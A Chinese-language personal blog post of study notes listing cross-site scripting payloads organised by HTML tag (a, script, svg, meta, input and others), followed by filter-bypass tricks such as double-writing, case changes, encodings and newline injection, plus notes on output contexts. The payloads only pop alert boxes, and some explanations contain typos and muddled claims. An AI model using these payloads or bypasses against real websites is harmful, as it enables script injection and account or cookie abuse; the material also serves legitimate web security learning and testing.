跨站脚本攻击 XSS LEVEL 3

幸福是魔鬼的牢笼,当幸福化为泡影,魔鬼就会冲出牢笼,毁灭世界。

这些资料都是在网上找到了,只有一小部分才是自己总结的知识点,为了把这些知识点变成自己的,需要反复的背与狂练习。

弹窗标签

a标签

<a href=javascript:alert(1)>点我啊</a>
#javascript协议
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>点我</a>
# data协议
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
# url编码的data协议
<a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="black"/></a></svg>
<math><a xlink:href=javascript:alert(1)>点我</math>
# 另两种方式实现

script标签

<script>alert(1)</script>
<script>confirm(1)</script>
<script>pormpt(1)</script>
# 直接弹窗
<script>alert(String.fromCharCode(49))</script>
# javascript协议编码
<script>setTimeout('alert(1)',0)</script>
# 如果输出是在setTimeout里,我们依然可以直接执行alert(1)

button标签

<button/onclick=alert(1) >点我</button>
# 点击弹窗
<button onfocus=alert(1) autofocus>
# 不需要点击就能弹窗

p标签

<p/onmouseover=alert(1)>点我</p>
# 可以直接使用事件触发

img标签

<img src=x onerror=alert(1)>
# 可以使用事件触发

body标签

<body onload=alert(1)>
# 事件触发
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
# 第二个没看懂...,百度后知道 onscroll 事件在元素滚动条在滚动时触发,即页面存在很多内容,需要滚动才能看到下面的内容的是偶,就会触发

var标签

<var onmousemove=alert(1)>M</var>
# 事件触发,一般是用不需交互的事件比如鼠标移动等

div标签

<div/onclick='alert(1)'>X</div>
# 事件触发

input标签

和button一样通过autofocus可以达到无需交互即可弹窗的效果。

<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>

select标签

<select onfocus=javascript:alert(1) autofocus>

textarea标签

<textarea onfocus=javascript:alert(1) autofocus>

keygen标签

<keygen onfocus=javascript:alert(1) autofocus>

frameset标签

<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> 

svg标签

<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>

math标签

<math href="javascript:javascript:alert(1)">CLICKME</math> 
<math><y/xlink:href=javascript:alert(51)>test1

video标签

<video><source onerror="alert(1)"> 
<video src=x onerror=alert(48)>

audio标签

<audio src=x onerror=alert(47)>

embed标签

<embed src=javascript:alert(1)>

meta标签

测试时发现昵称,文章标题跑到meta标签中,那么只需要跳出当前属性再添加http-equiv=”refresh”,就可以构造一个有效地xss payload。还有一些猥琐的思路,就是通过给http-equiv设置set-cookie,进一步重新设置cookie来干一些猥琐的事情。

<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">

marquee标签

<marquee onstart="alert('1')"></marquee>

isindex标签

<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>

xss绕过

个人xss绕过分两种,第一种是有一些标签没有过滤导致弹窗,另一种则是通过编码大小写等方式绕过,这两种都需要大量的基础知识功底和耐心的反复练习。

1. 单次过滤规则绕过:有些规则仅进行一次过滤替换,可以通过双重复写绕过<scr<script>ipt>
2. 大小写绕过:<sCript>
3. alert被过滤,可以尝试prompt和confirm
4. 没有引号和分号:<IMG SRC=javascript:alert('XSS')>
5. 空格被过滤:<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>
6. <imgsrc="1"onerror="alert(1)">和<imgsrc="1"onerror="alert&#x28;1&#x29;">是等效的,没有过滤&,#等符号,我们就可以写入任意字符
6. 长度限制时: <q/oncut=alert(1)>//在限制长度的地方很有效
7. 单引号及双引号被过滤情况: <script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
8. 括号被过滤,可以使用throw来抛出数据<a onmouseover="javascript:window.onerror=alert;throw 1">2</a><img src=x onerror="javascript:window.onerror=alert;throw 1">
9. 过滤某些关键字(如:javascript) 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。比如在使用<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>时,可以用回车、Tab键将src中的内容隔开,回车的url编码为%0a,%0b; 拼凑法:① 双写绕过;② 使用js定义变量z=scri, z+pt=script; ③ 两处输出点<scri<!-- 第二处-->pt>;
10. 当返回结果在 svg 标签中的时候,会有一个特性 <svg><script>varmyvar="YourInput";</script></svg> YourInput 可控,输入 www.site.com/test.php?var=text";alert(1)// 如果把 “ 编码一些他仍然能够执行: <svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>

这些知识都是网上的,并非自己的,如果想收为己用就需要强烈的反复的背与练习,才能变成自己的技能。

读 心伤的瘦子 文章

直接输出

即你插入什么就输出什么,这个时候直接插弹窗就行。

输出再script标签里面

闭合script后,插入弹窗

输出再html标签

使用事件触发,即onerror,onclick,onmousemove等等实现触发弹窗

宽字节注入

只要网页的编码是gbxxx的,发现单引号双引号背过滤则可以通过宽字节注入

即你只需要再引号前加速%0c即可

换行符绕过

如果输出的内容再js中,尝试再插入弹窗前加上%0a(就是换行的url编码),其中\r\n对应(%0a%0d)就是unix中换行,再服务器返回的请求头部信息和返回的内容主体中就是两个\r\n,如果传入的参数传入换行符,后端没有过滤的话,就会造成slrf漏洞,即控制你返回的内容中插入代码,这一点是chrome浏览器没办法屏蔽的,因为返回的内容是后端服务器返回的。

这里不说这么深入,只讨论\n对应的%0a,在插入的弹窗前面加速%0a,查看返回的内容有无换行。

如何获取注入点

发现瘦子能找到xss的位置url,这些很细节的url如果手动还是好发掘,再浏览器f12抓包就能找到,我想通过工具实现对这种network中传递的隐形的url批量获取,这种url链接很少能通过爬虫找到,所以想通过selenium来试一试。

坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%